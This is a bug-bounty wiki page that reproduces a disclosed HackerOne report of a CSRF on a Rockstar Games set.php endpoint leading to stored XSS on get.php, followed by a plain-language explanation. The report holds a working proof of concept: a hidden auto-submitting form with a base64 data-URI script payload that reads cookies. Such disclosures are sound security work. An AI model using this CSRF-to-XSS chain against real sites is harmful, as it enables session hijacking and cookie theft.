CSRF in 'set.php' via age causes stored XSS on 'get.php' - http://www.rockstargames.com/php/videoplayer_cache/get.php'
A POST request to set.php stored the supplied age value, which was later reflected into get.php, allowing script execution in the victim's browser. An attacker could use a cross-site form submission to plant the value and then redirect the victim to the vulnerable page, running script in the site's context.
Originally disclosed on HackerOne
- Triaged in 32 hours
- Fixed in 4 days
- Paid in 4 days
- Disclosed after 8 months
Hello,
#Background:
Sending a POST request to set.php with age='PAYLOAD' will cause a stored XSS on the GET.php file (most likely caused by the cookie, since that's what the age is based on). For this vulnerability and in order to demonstrate BOTH CSRF and XSS I have written a simple script (tested on firefox) that automatically sends the request to set.php and redirects you to the vulnerable file:
#POC:
<iframe style="display:none" name="csrf-frame" id="csrf-frame"></iframe><form method="POST" action="http://www.rockstargames.com/php/videoplayer_cache/set.php" target="csrf-frame" id="csrf-form" encType="application/x-www-form-urlencoded"><input type="text" name="age" value='<a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==>CLICK ME</a>' /></form><script>document.getElementById("csrf-form").submit();</script><script>var xssframe = document.getElementById('csrf-frame');xssframe.addEventListener("load", function() { window.location='http://www.rockstargames.com/php/videoplayer_cache/get.php'; }); </script>
Thanks, Ben
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the age value was stored (probably in a cookie) and then written into the get.php page without output encoding, and set.php accepted the value without a CSRF token.
Impact
An attacker could run script in a victim's session on the site, potentially reading the victim's cookie; the report only demonstrates this in Firefox.
What the attacker needed
Victim visits attacker page; victim uses Firefox (per report)
How it was found
- The attacker hosts a page containing a hidden form that posts an age value to set.php.
- The form is submitted automatically in a hidden iframe.
- When the iframe finishes loading, the page redirects the victim to get.php.
- get.php renders the stored value and the script runs in the victim's browser.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website took a value a user sent to one page and later showed it on another page without cleaning it. Because the value could contain a link that runs code, an attacker could make a victim's browser run that code on the site. The attacker also used a trick where another site silently submits the form for the victim, so the victim does not need to type anything.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.